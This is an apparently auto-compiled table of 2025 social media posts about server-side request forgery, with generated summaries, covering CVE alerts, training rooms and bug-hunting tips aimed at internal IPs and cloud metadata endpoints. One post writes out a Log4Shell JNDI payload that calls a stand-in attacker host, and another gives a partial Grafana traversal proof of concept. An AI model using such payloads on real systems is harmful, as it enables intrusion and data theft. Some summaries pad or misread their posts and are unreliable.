The newest Server-Side Request Forgery (SSRF) resources are on the Server-Side Request Forgery (SSRF) page. For a reading order instead of a date order, see the Server-Side Request Forgery (SSRF) learning path.
| Date Added | Link | Excerpt |
|---|---|---|
| 2025-05-30 2025 | Critical CVE-2025-4967 in Esri Portal for ArcGIS (v11.4 & earlier) allows unauthenticated SSRFCVSS score: 9.1. Patch now to secure your systems. Details #cybersecurity #infosec #ArcGIS #SSRF #CVE20254967 news | A critical CVE-2025-4967 vulnerability in Esri Portal for ArcGIS (v11.4 & earlier) enables unauthenticated SSRF with a CVSS score of 9.1. Immediate patching is advised to enhance system security. For more information, visit the provided link. #cybersecurity #infosec #ArcGIS #SSRF #CVE20254967 |
| 2025-05-29 2025 | Day 6 Bug Bounty Focused mostly on recon (same target) Learned more about SSRF with real-world case studies #bugbounty #SSRF #infosec beginner | Day 6 of bug bounty focused on reconnaissance on the same target. The focus was on learning more about Server-Side Request Forgery (SSRF) through real-world case studies. The content highlights the importance of understanding SSRF in the context of bug bounty programs and information security. #bugbounty #SSRF #infosec. |
| 2025-05-29 2025 | High severity #SSRF in mcp-markdownify-server (CVE-2025-5276) lets attackers access internal resources via Markdownify.get(). Patch now! Details: radar.offseq.com/threat/cve-202 #OffSeq #cybersecurity #infosec news | A high severity Server-Side Request Forgery (SSRF) vulnerability in mcp-markdownify-server (CVE-2025-5276) allows attackers to access internal resources through Markdownify.get(). Immediate patching is advised. More information available at radar.offseq.com/threat/cve-2025-5276. #OffSeq #cybersecurity #infosec. |
| 2025-05-29 2025 | Just dropped NovaLure! My new Python OAST scanner that automates specific Blind SSRF & other out-of-band checks using Interactsh. Great for bug bounty hunters! #OAST #SSRF #BugBounty #InfoSec #PythonTool #CyberSecurity intermediate | NovaLure is a new Python OAST scanner designed for automating Blind SSRF and out-of-band checks using Interactsh. It is beneficial for bug bounty hunters and focuses on cybersecurity. The tool aims to enhance security testing processes and improve efficiency in bug hunting activities. #OAST #SSRF #BugBounty #InfoSec #PythonTool #CyberSecurity. |
| 2025-05-26 2025 | SSRF Hunting 101: Try injecting URLs into parameters! Look for image uploads URL shorteners or anything that fetches data from a provided address. Test with internal IPs (127.0.0.1) cloud metadata endpoints and your own server. #SSRF #WebSecurity beginner | The content discusses SSRF hunting tips, suggesting injecting URLs into parameters to exploit vulnerabilities. It advises testing with internal IPs, cloud metadata endpoints, and personal servers. Key points include looking for image uploads, URL shorteners, and data fetching mechanisms. The content emphasizes the importance of web security and using these techniques to identify and prevent SSRF attacks. #SSRF #WebSecurity |
| 2025-05-26 2025 | Understand critical web vulnerabilities and how to prevent them. Read now techoral.com/security/web-v #CyberSecurity #WebSecurity #XSS #CSRF #SSRF #OWASP #BugBounty #InfoSec #WebDev beginner | The content discusses the importance of understanding critical web vulnerabilities like XSS, CSRF, and SSRF, and how to prevent them. It emphasizes the significance of cybersecurity, web security, and provides resources for further reading. The content also mentions OWASP, Bug Bounty programs, and the intersection of information security and web development. It encourages readers to visit techoral.com/security/web-v for more information on these topics. |
| 2025-05-25 2025 | Revised the SSRF module on TryHackMe! Gaining a deeper understanding of Server-Side Request Forgery. #tryhackme #SSRF #websecurity #bugbounty #infosec via @realtryhackme beginner | The content discusses the revision of the SSRF module on TryHackMe, emphasizing gaining a deeper understanding of Server-Side Request Forgery. The post highlights the importance of web security, bug bounty programs, and information security. It encourages individuals to engage with the updated module to enhance their knowledge and skills in this area. The content is shared via TryHackMe's official platform, aiming to educate and raise awareness about SSRF vulnerabilities and defenses. |
| 2025-05-24 2025 | CVE-2025-4123: Critical Grafana vulnerability! Path traversal Open Redirect XSS/SSRF chain CVSS: 7.6 | No auth required POC: /public/..%2F%.. Full demo: #CVE2025 #Grafana #BugBounty #SSRF #XSS news | A critical Grafana vulnerability, CVE-2025-4123, allows path traversal, leading to Open Redirect, XSS, and SSRF chain. The CVSS score is 7.6, and no authentication is needed. A proof of concept is provided at /public/..%2F%.. Full demo available. This issue is significant for Grafana security and is being highlighted with relevant hashtags like #CVE2025, #Grafana, #BugBounty, #SSRF, and #XSS. |
| 2025-05-23 2025 | #Cycatz #cybersecurity SSRF & Account Takeover More... #cyberattacksurfacemanagement #darkwebmonitoring #SurfaceWebMonitoring #mobilesecurity #emailsecurity #cloudsecurity #riskregister #vendorriskmanagement #brandmonitoring #incedentreport #SSRF #ATO beginner | The content discusses #Cycatz #cybersecurity focusing on Server-Side Request Forgery (SSRF) and Account Takeover (ATO). It also mentions various cybersecurity aspects like cyber attack surface management, dark web monitoring, mobile security, email security, cloud security, risk register, vendor risk management, brand monitoring, and incident reporting. The post seems to highlight the importance of these cybersecurity measures in protecting against threats like SSRF and ATO. |
| 2025-05-23 2025 | APT Labs Challenge #3 is LIVE! UNC2903: Metadata Abuse via Adminer (SSRF Attack) a FREE hands-on challenge for serious offensive security learners. Access now: #CyberSecurity #SSRF #InfinityLearning #APTChallenge #CyberWarFareLabs #RedTeamOps intermediate | APT Labs Challenge #3, UNC2903, focuses on Metadata Abuse via Adminer (SSRF Attack). It is a free hands-on challenge for serious offensive security learners. Participants can access the challenge now. The content emphasizes cybersecurity, SSRF, Infinity Learning, APTChallenge, CyberWarFareLabs, and RedTeamOps. |
| 2025-05-22 2025 | How is this usually avoided #bugbounty #ssrf #hackerone intermediate | The content discusses avoiding security vulnerabilities like Server-Side Request Forgery (SSRF) in bug bounty programs, particularly on platforms like HackerOne. It highlights the importance of preventing such issues and hints at strategies or techniques to mitigate them. The post likely provides insights or tips on how to steer clear of SSRF vulnerabilities in bug bounty programs, emphasizing the significance of security measures in these contexts. |
| 2025-05-22 2025 | How does your app fetch resources? CWE-918 (SSRF) lets attackers trick your server into fetching malicious URLs putting internal systems at risk. Train your team against SSRF the full CWE Top 25: ow.ly/19kN50VWx1c #CWE #SSRF #appsec #devsecops #cybersecurity beginner | The content highlights the risk of attackers using Server-Side Request Forgery (SSRF) to trick servers into fetching malicious URLs, potentially compromising internal systems. It emphasizes the importance of training teams to defend against SSRF and provides a link to the full CWE Top 25 list for cybersecurity awareness. The post encourages awareness of app security, development operations, and cybersecurity measures. |
| 2025-05-22 2025 | .svc.cluster.local is the new 169.254.169.254 #bugbounty #ssrf intermediate | The content highlights that *.svc.cluster.local is being identified as a new target similar to 169.254.169.254 for bug bounty programs and SSRF (Server-Side Request Forgery) vulnerabilities. This information suggests that *.svc.cluster.local may be exploited in a manner similar to how 169.254.169.254 has been targeted in the past. The post likely contains further details or insights on this emerging issue. |
| 2025-05-22 2025 | New CVE : CVE-2025-4123 Grafana open redirect XSS/SSRF via path traversal Detect it now with Nuclei template #infosec #cve #nuclei #grafana #ssrf #xss #openredirect news | A new CVE, CVE-2025-4123, highlights a vulnerability in Grafana that allows open redirect, XSS, and SSRF via path traversal. The issue can be detected using Nuclei template. The post emphasizes the importance of addressing this security concern in Grafana. #infosec #cve #nuclei #grafana #ssrf #xss #openredirect. |
| 2025-05-22 2025 | SSRF Hunting 101: Force the server to make requests to internal resources (like localhost or internal IPs) via URL parameters. If it echoes the response you've likely found SSRF! #SSRF #WebSecurity beginner | The content discusses SSRF (Server-Side Request Forgery) hunting by manipulating URL parameters to force the server to make requests to internal resources like localhost or internal IPs. If the server echoes the response, it indicates a potential SSRF vulnerability. This technique is essential for identifying security flaws and enhancing web security. #SSRF #WebSecurity. |
| 2025-05-21 2025 | Lorenzo Gallegos presents 'How to Write Secure Code' July 25th at Nebraska.Code(). #SecureCode #OWASP #SQLi #XSS #CSRF #SSRF #Nebraska #TechConf @Mattermost @Bluum_Tech @PapaJohns @scooterscoffee @Runza @HyVee #IT @caseysgenstore @midlandcode @OmahaSSUG beginner | Lorenzo Gallegos will discuss 'How to Write Secure Code' at Nebraska.Code() on July 25th. The presentation will cover topics like #SecureCode, #OWASP, #SQLi, #XSS, #CSRF, and #SSRF. The event is relevant for those interested in IT security and will feature sponsors like @Mattermost, @Bluum_Tech, @PapaJohns, @scooterscoffee, @Runza, @HyVee, @caseysgenstore, @midlandcode, and @OmahaSSUG. Attendees can gain insights into writing secure code and network with industry professionals. |
| 2025-05-21 2025 | Lorenzo Gallegos presents 'How to Write Secure Code' July 25th at Nebraska.Code(). #SecureCode #OWASP #SQLi #XSS #CSRF #SSRF #Nebraska #TechnologyConference @605SQL @blendtweets @bankeasy_FBT @DEFCON402 @OmahaMakerGroup @wedontcoast @Ameritas beginner | Lorenzo Gallegos will be presenting 'How to Write Secure Code' at Nebraska.Code() on July 25th. The event will cover topics such as secure coding practices, OWASP, SQLi, XSS, CSRF, and SSRF. The presentation will take place at a technology conference in Nebraska, with various organizations tagged in the announcement. Attendees can expect insights on writing secure code and protecting against common vulnerabilities. |
| 2025-05-21 2025 | #Cycatz #cybersecurity Full-Blown SSRF More... shorturl.at/XpwHj #cyberattacksurfacemanagement #darkwebmonitoring #SurfaceWebMonitoring #emailsecurity #cloudsecurity #governanceriskcompliance #riskregister #vendorriskmanagement #brandmonitoring #incedentreport #ssrf beginner | The content discusses various cybersecurity topics including SSRF, cyber attack surface management, dark web monitoring, email security, cloud security, governance risk compliance, risk register, vendor risk management, brand monitoring, and incident reporting. It emphasizes the importance of these aspects in maintaining cybersecurity and provides a link for further information. |
| 2025-05-17 2025 | @niksthehacker used the built-in screenshot generation to trigger SSRF and redirected the target to a crafted domain that captured internal data as a screenshot. #BugBounty #BBV #DEFCON #AWS #SSRF intermediate | @niksthehacker leveraged the built-in screenshot feature to exploit SSRF, redirecting the target to a controlled domain to capture sensitive internal data as a screenshot. This technique was used in a bug bounty scenario and shared on social media with relevant hashtags like #BugBounty, #BBV, #DEFCON, #AWS, and #SSRF. |
| 2025-05-17 2025 | SSRF Hunting 101: Spot SSRF by manipulating URLs & parameters! Try injecting internal IPs (127.0.0.1 169.254.169.254) or internal hostnames where the server fetches data. See what secrets you can grab! #SSRF #WebSecurity beginner | The content discusses SSRF (Server-Side Request Forgery) hunting techniques. It suggests manipulating URLs and parameters to identify SSRF vulnerabilities by injecting internal IPs (127.0.0.1, 169.254.169.254) or internal hostnames. The goal is to uncover secrets by exploiting SSRF. The post emphasizes the importance of web security and provides a link for further information. |
| 2025-05-16 2025 | SonicWall confirmó una vulnerabilidad de tipo Server-Side Request Forgery (SSRF) usando URLs codificadas Afecta a dispositivos SMA 1000 (incluyendo 6210 7200 7210 8200v y CMS). #SonicWall #SSRF news | SonicWall has confirmed a Server-Side Request Forgery (SSRF) vulnerability using encoded URLs affecting SMA 1000 devices (including 6210, 7200, 7210, 8200v, and CMS). This vulnerability poses a security risk. #SonicWall #SSRF. |
| 2025-05-16 2025 | Urgent: SonicWall SMA1000 series vulnerability (CVE-2025-40595) allows remote exploitation via encoded URLs. Update firmware to 12.4.3-02963 immediately. #CyberSecurity #SonicWall #SSRF thedailytechfeed.com/critical-vulne news | An urgent vulnerability (CVE-2025-40595) in SonicWall SMA1000 series allows remote exploitation via encoded URLs. Immediate action is needed to update firmware to version 12.4.3-02963 to mitigate the risk. This issue highlights the importance of cybersecurity measures and protection against Server-Side Request Forgery (SSRF) attacks. For more information, visit thedailytechfeed.com/critical-vulne. |
| 2025-05-16 2025 | 2/2 | Check it out here: tryhackme.com/room/ssrfqi?ut #tryhackme via @RealTryHackMe #ssrf #hacksei beginner | The content is promoting a room on TryHackMe related to Server-Side Request Forgery (SSRF) with a shortened link provided. It encourages users to check it out on the TryHackMe website. The post includes hashtags for TryHackMe, SSRF, and Hacksei. The content is shared via the RealTryHackMe Twitter account. |
| 2025-05-16 2025 | 1/2 | Happy to complete the #SSRF vuln room on #tryhackme. MAN I LOVE THIS ROOM! I mean I've a long road ahead but I WILL MASTER THIS VULN! Lessons Learned: 1. Types of SSRF. 2. Ways to find SSRF vulns. 3. SSRF defends & ways to bypass them. 4. Deny/Allow List Open Redirect. beginner | The content discusses completing an SSRF vulnerability room on TryHackMe, expressing enthusiasm and determination to master the vulnerability. Key takeaways include learning about types of SSRF, methods to identify SSRF vulnerabilities, defenses against SSRF attacks, and ways to bypass them. Additionally, it mentions Deny/Allow List and Open Redirect as important concepts. The individual is excited about the progress made and the knowledge gained in this area of cybersecurity. |
| 2025-05-16 2025 | SSRF hunting? Force your server to make requests to internal resources (like localhost or internal IPs) via manipulated URLs/parameters. If it echoes back you've likely found a vulnerability! #SSRF #WebSec intermediate | This content discusses SSRF (Server-Side Request Forgery) hunting by manipulating URLs/parameters to force a server to make requests to internal resources like localhost or internal IPs. If the server echoes back the requested information, it may indicate a vulnerability. The post emphasizes the importance of testing for SSRF vulnerabilities in web security. #SSRF #WebSec. |
| 2025-05-15 2025 | #Cycatz #cybersecurity Exceptional SSRF Finding More... #cyberattacksurfacemanagement #SurfaceWebMonitoring #mobilesecurity #emailsecurity #cloudsecurity #governanceriskcompliance #riskregister #vendorriskmanagement #brandmonitoring #incedentreport #SSRF intermediate | The content discusses an exceptional Server-Side Request Forgery (SSRF) finding related to cybersecurity. It also mentions various cybersecurity topics such as cyber attack surface management, web monitoring, mobile security, email security, cloud security, governance risk compliance, risk register, vendor risk management, brand monitoring, and incident reporting. The content seems to emphasize the importance of SSRF and various cybersecurity measures. |
| 2025-05-13 2025 | Server-Side Request Forgery (SSRF) A web app flaw where servers are tricked into making internal requests via user input exposing sensitive systems. #azefox #azefoxinnovations #CyberSecurity #SSRF #WebSecurity #InfoSec #EthicalHacking beginner | The content discusses Server-Side Request Forgery (SSRF), a web app vulnerability where servers are manipulated into making internal requests through user input, potentially revealing sensitive systems. The post emphasizes the importance of cybersecurity, web security, and ethical hacking in addressing SSRF risks. The hashtags #azefox, #azefoxinnovations, #CyberSecurity, #SSRF, #WebSecurity, #InfoSec, and #EthicalHacking are used to categorize and promote the content. |
| 2025-05-13 2025 | New Blog Alert! Learn the Best 7 Ways to Prevent SSRF Vulnerability in React.js with real-world coding examples security tips. Read more: #ReactJS #CyberSecurity #WebSecurity #SSRF #JavaScript #OWASP #InfoSec #DevSecOps #WebDev #Pentesting #AppSec intermediate | A new blog discusses 7 ways to prevent SSRF vulnerability in React.js with coding examples and security tips. The content covers React.js security measures, real-world coding practices, and tips to enhance web security. The blog addresses SSRF vulnerability prevention, JavaScript security, OWASP guidelines, information security, DevSecOps practices, web development, pentesting, and application security. Readers can find detailed insights and recommendations on safeguarding React.js applications against SSRF threats. |
| 2025-05-12 2025 | Finally got this one published! #cwis #ssrf news | The author is excited to announce the publication of their work, using hashtags #cwis and #ssrf. The link provided likely directs to the published content. |
| 2025-05-12 2025 | Frankenplating at cwis! #cwis #ssrf #ribs intermediate | The content mentions "Frankenplating at cwis" and includes hashtags like #cwis, #ssrf, and #ribs. It seems to refer to a topic related to combining different elements or components, possibly in a creative or unconventional way. The link provided may lead to more detailed information on the topic. |
| 2025-05-12 2025 | New Writeup Alert! "SSRF via PDF Generator? Yes and It Led to EC2 Metadata Access" by Abhijeet Kumawat is now live on IW! Check it out here: #infosec #hacking #ssrf #bugbounty #ssrfattack intermediate | Abhijeet Kumawat's new writeup on SSRF via a PDF generator leading to EC2 metadata access is now live on IW. The content discusses a security vulnerability related to SSRF attacks. It highlights the potential risks and implications of exploiting this vulnerability. Readers interested in information security, hacking, bug bounty programs, and SSRF attacks can find valuable insights in the writeup. The link provided directs users to the detailed content for further exploration. |
| 2025-05-10 2025 | A critical SSRF flaw in Microsoft Power Apps (CVE-2025-47733) puts internal data at risk. No auth needed. High CVSS: 9.1. Read how to protect your org now: #CyberSecurity #SSRF #Microsoft #InfoSec news | A critical SSRF flaw in Microsoft Power Apps (CVE-2025-47733) poses a high risk to internal data without authentication. The vulnerability has a CVSS score of 9.1, emphasizing its severity. Organizations are urged to take immediate steps to protect their data and systems against potential exploitation. The content highlights the importance of cybersecurity measures and provides guidance on safeguarding against SSRF vulnerabilities in Microsoft products. #CyberSecurity #SSRF #Microsoft #InfoSec. |
| 2025-05-08 2025 | Completed Server-Side Vulnerabilities Learning Path at PortSwigger Thrilled to finish PortSwigger's Server-Side Vulnerabilities path gaining insight into web system exploits. #WebSecurity #CyberSec #PortSwigger #Learning #SQLInjection #SSRF #Auth #Vulns beginner | The content highlights the completion of the Server-Side Vulnerabilities Learning Path at PortSwigger, expressing excitement at gaining insights into web system exploits like SQL injection, SSRF, and authentication vulnerabilities. The individual is thrilled to finish the learning path and shares hashtags related to web security, cybersecurity, learning, and PortSwigger. |
| 2025-05-07 2025 | SSRF hunting? Try manipulating URLs the server fetches! Look for input fields that dictate server-side requests (e.g. image URLs file imports). Can you make it access internal resources or external sites? #SSRF #WebSecurity intermediate | The content discusses SSRF hunting by manipulating URLs that servers fetch. It suggests looking for input fields controlling server-side requests like image URLs or file imports. The goal is to see if these manipulations can access internal resources or external sites, emphasizing the importance of web security. The content encourages exploring these techniques for identifying and mitigating SSRF vulnerabilities. |
| 2025-05-06 2025 | Day 21/30 Web Fundamentals File Inclusion Intro to SSRF Tough but rooms today! Hands-on with LFI RFI & internal web request attacks. Learning never stops on @TryHackMe #TryHackMe #WebHacking #CyberSecurity #Day21 #SSRF #FileInclusion #InfoSec #THM #LearningInPublic beginner | Day 21/30 of Web Fundamentals covers File Inclusion and an introduction to SSRF. Participants engage in challenging activities involving LFI, RFI, and internal web request attacks on @TryHackMe. The learning journey continues with a focus on cybersecurity and web hacking. #TryHackMe #CyberSecurity #SSRF #FileInclusion #InfoSec #THM #LearningInPublic. |
| 2025-05-05 2025 | Hackers are exploiting email input fields to launch XSS SSRF and header injection attacks. Ensure robust validation and sanitization to protect your applications. #CyberSecurity #XSS #SSRF #EmailSecurity thedailytechfeed.com/hackers-exploi news | Hackers are targeting email input fields to carry out XSS, SSRF, and header injection attacks. Robust validation and sanitization measures are crucial to safeguard applications. Ensuring proper security protocols can help prevent these cyber threats. #CyberSecurity #XSS #SSRF #EmailSecurity. |
| 2025-05-05 2025 | #TodayILearned #ssrf AI is so good for educating myself: Q: provide SSRF basic example - Server side request forgery A: beginner | The content discusses using AI to learn about SSRF (Server Side Request Forgery). The focus is on educating oneself about SSRF through AI assistance. The post mentions providing a basic example of SSRF and includes a link for further reference: https://ift.tt/oPMUNsT. |
| 2025-05-04 2025 | Test for SSRF: Can your server be tricked into making requests to internal/external resources you don't intend? Try manipulating URLs/parameters to point to internal IPs (127.0.0.1 192.168.x.x) or your own controlled server. See what happens! #SSRF #WebSecurity intermediate | The content discusses testing for Server-Side Request Forgery (SSRF) by manipulating URLs/parameters to make servers unknowingly access internal/external resources. It suggests trying to point requests to internal IPs like 127.0.0.1 or 192.168.x.x, or a controlled server to see if the server can be tricked. This test helps identify vulnerabilities in web security related to SSRF. #SSRF #WebSecurity. |
| 2025-05-03 2025 | The sneaky vuln letting attackers trick servers into hitting internal resources! Poor input validation (e.g. URLs) can expose databases or localhost. Seen in a form I analyzedcheck the pic! Prevent it: validate inputs whitelist domains. Thoughts? #Cybersecurity #SSRF intermediate | The content discusses a vulnerability that allows attackers to trick servers into accessing internal resources by exploiting poor input validation, such as URLs. The vulnerability, known as Server-Side Request Forgery (SSRF), can expose databases or localhost. To prevent this, it is recommended to validate inputs and whitelist domains. The post emphasizes the importance of cybersecurity measures to protect against SSRF attacks. |
| 2025-05-02 2025 | CYBERSECURITY ALERT! Join our FREE class on: OWASP Top 10: SSRF Risks Sat May 3 | 10AM GMT1 | Zoom Trainer: Amos Ologboshere Join: #Cybersecurity #SSRF #OWASP #FreeTraining beginner | A free cybersecurity class on OWASP Top 10: SSRF Risks is being offered on Saturday, May 3 at 10AM GMT+1 via Zoom. The trainer is Amos Ologboshere. The class aims to educate participants on security risks related to Server-Side Request Forgery (SSRF). Interested individuals can join the session by using the provided link. The event is promoted with hashtags #Cybersecurity, #SSRF, #OWASP, and #FreeTraining. |
| 2025-05-02 2025 | 1/ Un atacante envía esto a tu app: $ {jndi:ldap://attacker.oastify.com} (sin espacio real) Tu servidor lo procesa Y sin mostrar nada hace una conexión externa. Información filtrada sin que nadie lo note. #Log4Shell #SSRF #BlindRCE intermediate | The content warns about a security vulnerability where an attacker can send a malicious payload to a server, causing it to make an external connection without displaying anything, potentially leaking sensitive information. This exploit involves the Log4Shell, SSRF, and BlindRCE techniques. The payload example is $ {jndi:ldap://attacker.oastify.com}. It emphasizes the risk of data leakage without detection. |
| 2025-04-30 2025 | SSRF in Oracle Services SSRF tricks your backend into leaking internal data. Web3 targets: Oracle price feeds NFT metadata Bridge endpoints Example: ... Exposes cloud creds attacker controls signers or nodes. #SSRF #DeFi intermediate | The content discusses Server-Side Request Forgery (SSRF) vulnerabilities in Oracle Services, which can be exploited to leak internal data. Web3 targets such as Oracle price feeds, NFT metadata, and Bridge endpoints are at risk. An example is provided where SSRF exposes cloud credentials, allowing attackers to control signers or nodes. The post emphasizes the importance of addressing SSRF vulnerabilities in the context of decentralized finance (#DeFi). |
| 2025-04-29 2025 | SSRF Vulnerability in Symfony? Learn how attackers exploit it & how to fix it with real code examples. Boost your web app security now! #CyberSecurity #Symfony #SSRF #WebSecurity #BugBounty #OWASP #DevSecOps #Pentesting #Infosec #SecureCoding intermediate | The content discusses the SSRF vulnerability in Symfony, explaining how attackers exploit it and providing solutions with real code examples to enhance web app security. It emphasizes the importance of addressing this vulnerability to protect against cyber threats. The post includes hashtags related to cybersecurity, Symfony, SSRF, web security, bug bounty, OWASP, DevSecOps, pentesting, infosec, and secure coding. It offers a link for further information and encourages readers to take action to secure their web applications. |
| 2025-04-29 2025 | Advanced SSRF Challenge! Credit - @Cyber__Anna Can you find a way to fetch internal metadata? Drop your bypass tricks in the comments! #SSRF #BugBounty #InfoSec advanced | The content is about an advanced Server-Side Request Forgery (SSRF) challenge posted by @Cyber__Anna. Participants are encouraged to find a method to retrieve internal metadata and share their bypass techniques in the comments. The challenge is related to cybersecurity topics such as SSRF, Bug Bounty, and Information Security. It invites individuals to test their skills in identifying vulnerabilities and bypassing security measures. |
| 2025-04-28 2025 | SSRF Hunting 101: Force the server to make requests to internal resources or external URLs it shouldn't. Think: localhost internal IPs cloud metadata endpoints. Look for URL parameters and data that control server-side requests. Test test test! #SSRF #WebSecurity beginner | The content discusses SSRF (Server-Side Request Forgery) hunting basics, emphasizing forcing servers to make unauthorized requests to internal or external resources like localhost, internal IPs, and cloud metadata endpoints. It suggests focusing on URL parameters and data that influence server-side requests and emphasizes thorough testing. The post encourages testing for SSRF vulnerabilities to enhance web security. #SSRF #WebSecurity. |
| 2025-04-25 2025 | Critical Commvault SSRF could allow attackers to execute code remotely news 2 min read | Writeup of CV-2025-34028, a critical SSRF vulnerability in Commvault Command Center, allowing pre-authenticated remote code execution. Researchers discovered this flaw in the deployWebpackage.do endpoint, which an attacker can exploit by providing a malicious ZIP file containing a .JSP to achieve RCE. This vulnerability affects specific versions of Commvault and has been patched in update 11.38.20, with isolation of the Command Center from external networks suggested as a workaround. → csoonline.com |
| 2025-04-25 2025 | A critical SSRF vulnerability has been found in Moodle 4.4.3 via a TOC-TOU flaw in URL handling. Enables attackers to access internal services & even escalate to RCE. Details threatsbank.com/moodle-ssrf-vu #infosec #Moodle #CyberSecurity #SSRF news | A critical SSRF vulnerability in Moodle 4.4.3 allows attackers to access internal services and potentially escalate to Remote Code Execution (RCE) due to a TOC-TOU flaw in URL handling. More information can be found at threatsbank.com/moodle-ssrf-vu. This issue poses a significant threat to information security and highlights the importance of addressing vulnerabilities promptly. #infosec #Moodle #CyberSecurity #SSRF |
| 2025-04-22 2025 | A critical #SSRF vulnerability (CVE-2025-29446) found in Open-WebUI v0.5.16 lets attackers manipulate internal requests via malformed URLs. Read how it works and how to patch threatsbank.com/critical-ssrf- #CyberSecurity #OpenWebUI #CVE2025 news | A critical SSRF vulnerability (CVE-2025-29446) in Open-WebUI v0.5.16 allows attackers to manipulate internal requests using malformed URLs. The article explains the vulnerability and provides guidance on patching it. For more details, visit threatsbank.com/critical-ssrf-. #CyberSecurity #OpenWebUI #CVE2025. |
| 2025-04-20 2025 | Ask any Web App pentester: It can be tricky to demonstrate Server-Side Request Forgery (#SSRF) impact. Alex fortunately has a few shortcuts that can help you out as you exploit this vulnerability. Do you have any tips and tricks you use when you find SSRF? Drop them in the intermediate | Demonstrating Server-Side Request Forgery (SSRF) impact can be challenging for Web App pentesters. Alex shares shortcuts to exploit this vulnerability effectively. Readers are encouraged to share their own tips and tricks for dealing with SSRF. |
| 2025-04-19 2025 | Vulnérabilités Critiques : RCE HylaFAX Bypass SQL SicommNet et SSRF AutoGPT #HylaFAX #SicommNet #AutoGPT #RCE #SQLi #SSRF #Sécurité #Vulnérabilité #AI news | The content discusses critical vulnerabilities including Remote Code Execution (RCE) in HylaFAX, SQL Bypass in SicommNet, and Server-Side Request Forgery (SSRF) in AutoGPT. These vulnerabilities pose security risks and are tagged with relevant hashtags. The post emphasizes the importance of addressing these vulnerabilities promptly to enhance security. |